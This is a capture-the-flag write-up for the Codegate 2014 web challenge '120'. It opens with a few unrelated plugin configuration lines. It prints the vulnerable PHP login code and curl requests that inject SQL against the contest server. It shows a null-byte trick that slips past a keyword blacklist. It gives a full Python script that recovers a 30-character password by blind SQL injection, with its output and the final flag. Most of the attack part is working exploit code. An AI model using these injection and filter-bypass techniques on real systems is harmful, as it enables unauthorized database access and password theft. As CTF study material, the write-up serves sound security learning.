$plugins['authad'] = '0';
$plugins['authldap'] = '1';
$plugins['authmysql'] = '0';
$plugins['authpgsql'] = '0';
= Codegate 2014: "120" 500 pts =
This web task, in short, required us to guess a randomly generated 30 char password in less than 120 trials.
We had the following source:
$max_times){
unset($_SESSION['cnt']);
}
if ( !isset($_SESSION['cnt'])){
$_SESSION['cnt']=0;
$_SESSION['password']=RandomString();
$query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
@mysql_query($query);
$query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
@mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;
if ( $_POST['password'] ){
if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
@mysql_close($link);
exit("Wrong access");
}
$query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
$q = @mysql_query($query);
$res = @mysql_fetch_array($q);
if($res['ip']==$_SERVER['REMOTE_ADDR']){
@mysql_close($link);
exit("True");
}
else{
@mysql_close($link);
exit("False");
}
}
@mysql_close($link);
?>
So, the obvious method was to somehow use a blind sql injection attack to recover the password:
$query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
The problem is that many useful statements/keywords are blacklisted:
if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
@mysql_close($link);
exit("Wrong access");
}
So there are 3 major roadblocks:
* sql query response is blinded
* blacklisting
* 120 query limit
To get around the first one we need to create a true/false primitive. We could do this through a **sleep** but at the time the server was under heavy load so the output wasn't too reliable.
Another idea is to use the source itself as it has **exit("True")** and **exit("False")**. Proof of concept:
$ curl http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php -d "password=1' or '1'='1') or password=('"
True
$ curl http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php -d "password=1' or '1'='2') or password=('"
False
Now we need to bypass the blacklisting. The **eregi** function has a null-byte vulnerability such that it stops checking whenever it encounters *%00*. Let's try it:
$ curl http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php -d "password=1' or (select True) ) or password=('"
Wrong access
$ curl http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php -d "password=%001' or (select True) ) or password=('"
True
$ curl http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php -d "password=%001' or (select False) ) or password=('"
False
Now we could replace **select True/False** with **(select password from rms_120_pw where ip='A.B.C.D' limit 0,1 ) like 'a%'** and so on to find out what is the first letter. However, 26 letters times 30 characters is more than 120 so the password would get reset in the middle of brute-forcing.
To get past this last hurdle we can use an easy trick: start a session on an IP and brute-force it from another IP. I used a laptop tethered to my phone to start a session, obtained the IP and brute-forced it on my desktop PC.
Here's my brute force script:
#!/usr/bin/python
import os,string
from subprocess import Popen,PIPE
def try_data(query_list, distinguisher, async_enabled):
procs = {}
for (idx, query) in enumerate(query_list):
p = Popen(["curl", "-b", "cookies.txt", "-s", "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php", "-d", "password=%%001\' or %s) or password=(\'" % query], stdout = PIPE)
procs[query] = p
if async_enabled:
continue
else:
p.wait()
output = p.stdout.read()
print "Query [%s] -> [%s]" % (query, output )
if output == distinguisher:
return idx
ret = None
for (idx,query) in enumerate(query_list):
while procs[query].poll() is None:
pass
output = procs[query].stdout.read()
if async_enabled:
print "Query [%s] -> [%s]" % (query, output )
if output == distinguisher:
ret = idx
return ret
def get_password(ip, aggressive_enabled):
prefix = ''
while len(prefix) != 30:
queries = []
letters = list(string.lowercase)
for i in letters:
s = " ( select password from rms_120_pw where ip='%s' limit 0,1 ) like '%s%%' " % (ip, prefix + i )
queries.append(s)
idx = try_data(queries, "True", aggressive_enabled)
if idx == None:
print "No letter matched. Something is wrong"
exit(-1)
else:
prefix = prefix + letters[idx]
print "Password is [%s] " % (prefix + "?" * (30 - len(prefix) ) )
ip = "89.136.137.72"
get_password(ip, aggressive_enabled = False)
Note that there are 2 versions: the asynchronous (aggressive) and the synchronous one; The first one starts 26 queries at a time and waits for them to end, the second one starts one at a time in order not to load the server too much. Here's a comparison:
$ time python solution.py #sync
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'o%' ] -> [True]
Password is [o?????????????????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'oh%' ] -> [True]
Password is [oh????????????????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohs%' ] -> [True]
Password is [ohs???????????????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsn%' ] -> [True]
Password is [ohsn??????????????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnw%' ] -> [True]
Password is [ohsnw?????????????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwt%' ] -> [True]
Password is [ohsnwt????????????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtu%' ] -> [True]
Password is [ohsnwtu???????????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuo%' ] -> [True]
Password is [ohsnwtuo??????????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuob%' ] -> [True]
Password is [ohsnwtuob?????????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobx%' ] -> [True]
Password is [ohsnwtuobx????????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxi%' ] -> [True]
Password is [ohsnwtuobxi???????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxib%' ] -> [True]
Password is [ohsnwtuobxib??????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibc%' ] -> [True]
Password is [ohsnwtuobxibc?????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibci%' ] -> [True]
Password is [ohsnwtuobxibci????????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibcio%' ] -> [True]
Password is [ohsnwtuobxibcio???????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibcioc%' ] -> [True]
Password is [ohsnwtuobxibcioc??????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibcioci%' ] -> [True]
Password is [ohsnwtuobxibcioci?????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocir%' ] -> [True]
Password is [ohsnwtuobxibciocir????????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocira%' ] -> [True]
Password is [ohsnwtuobxibciocira???????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirah%' ] -> [True]
Password is [ohsnwtuobxibciocirah??????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciociraha%' ] -> [True]
Password is [ohsnwtuobxibciociraha?????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahae%' ] -> [True]
Password is [ohsnwtuobxibciocirahae????????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeu%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeu???????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeui%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeui??????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuiv%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuiv?????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuive%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuive????]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuives%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuives???]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuivess%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuivess??]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuivessa%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuivessa?]
Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuivessat%' ] -> [True]
Password is [ohsnwtuobxibciocirahaeuivessat]
real 3m59.768s
user 0m0.972s
sys 0m1.420s
$ time python solution.py #async
Password is [s?????????????????????????????]
Password is [se????????????????????????????]
Password is [sec???????????????????????????]
Password is [sece??????????????????????????]
Password is [secet?????????????????????????]
Password is [secetl????????????????????????]
Password is [secetlt???????????????????????]
Password is [secetltt??????????????????????]
Password is [secetlttm?????????????????????]
Password is [secetlttmr????????????????????]
Password is [secetlttmrm???????????????????]
Password is [secetlttmrme??????????????????]
Password is [secetlttmrmen?????????????????]
Password is [secetlttmrment????????????????]
Password is [secetlttmrmento???????????????]
Password is [secetlttmrmentot??????????????]
Password is [secetlttmrmentoto?????????????]
Password is [secetlttmrmentotoh????????????]
Password is [secetlttmrmentotoha???????????]
Password is [secetlttmrmentotohax??????????]
Password is [secetlttmrmentotohaxs?????????]
Password is [secetlttmrmentotohaxsc????????]
Password is [secetlttmrmentotohaxscb???????]
Password is [secetlttmrmentotohaxscba??????]
Password is [secetlttmrmentotohaxscbag?????]
Password is [secetlttmrmentotohaxscbagn????]
Password is [secetlttmrmentotohaxscbagnt???]
Password is [secetlttmrmentotohaxscbagnts??]
Password is [secetlttmrmentotohaxscbagntss?]
Password is [secetlttmrmentotohaxscbagntssz]
real 0m43.214s
user 0m33.309s
sys 0m10.614s
Sometimes, the async version had some problems but I didn't have time for debugging since the sync one worked perfectly.
Upon entering the correct password in **auth.php** we get the key:
Congrats! the key is DontHeartMeBaby*$#@!